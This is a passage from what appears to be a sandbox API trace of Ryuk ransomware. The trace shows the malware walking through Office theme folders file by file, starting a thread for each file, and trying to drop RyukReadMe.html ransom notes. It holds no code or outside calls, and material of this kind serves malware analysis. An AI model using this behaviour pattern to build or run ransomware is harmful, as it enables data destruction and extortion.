	[0270.112] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0x88, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="URBAN~1.EFT")) returned 1
	[0270.112] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2be4
	[0270.114] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.115] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0x88, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="VERVE~1.EFT")) returned 1
	[0270.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2be8
	[0270.116] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.117] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x88, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 1
	[0270.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bec
	[0270.119] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.119] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x88, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 0
	[0270.119] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0270.176] SetLastError (dwErrCode=0x0) 
	[0270.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.176] GetLastError () returned 0x5
	[0270.176] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0270.176] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.176] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0270.176] SetLastError (dwErrCode=0x0) 
	[0270.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.177] GetLastError () returned 0x5
	[0270.177] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0270.177] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x88, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0270.182] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x88, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0270.183] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x88, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1
	[0270.183] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bf0
	[0270.185] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.185] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x88, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1
	[0270.185] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bf4
	[0270.188] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.189] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x88, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1
	[0270.189] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bf8
	[0270.190] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.191] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x88, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1
	[0270.191] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bfc
	[0270.193] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.194] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x88, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1
	[0270.194] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c04
	[0270.195] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.196] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x88, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1
	[0270.196] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c08
	[0270.198] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.198] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x88, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1
	[0270.198] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0c
	[0270.200] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.201] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x88, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1
	[0270.201] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c10
	[0270.204] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.204] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x88, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1
	[0270.204] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c14
	[0270.206] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.207] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x88, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1
	[0270.207] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c18
	[0270.209] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.209] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x88, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1
	[0270.209] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c1c
	[0270.211] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.212] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x88, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1
	[0270.212] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c20
	[0270.658] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.659] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x88, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1
	[0270.659] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c68
	[0270.661] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.662] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x88, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1
	[0270.662] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c6c
	[0270.663] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.664] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x88, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1
	[0270.664] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c70
	[0270.666] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.667] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x88, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1
	[0270.667] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c74
	[0270.668] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.669] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x88, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1
	[0270.669] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c78
	[0270.671] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.672] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x88, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1
	[0270.672] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c7c
	[0270.673] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.674] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x88, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1
	[0270.674] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c80
	[0270.675] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.675] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x88, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1
	[0270.675] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c84
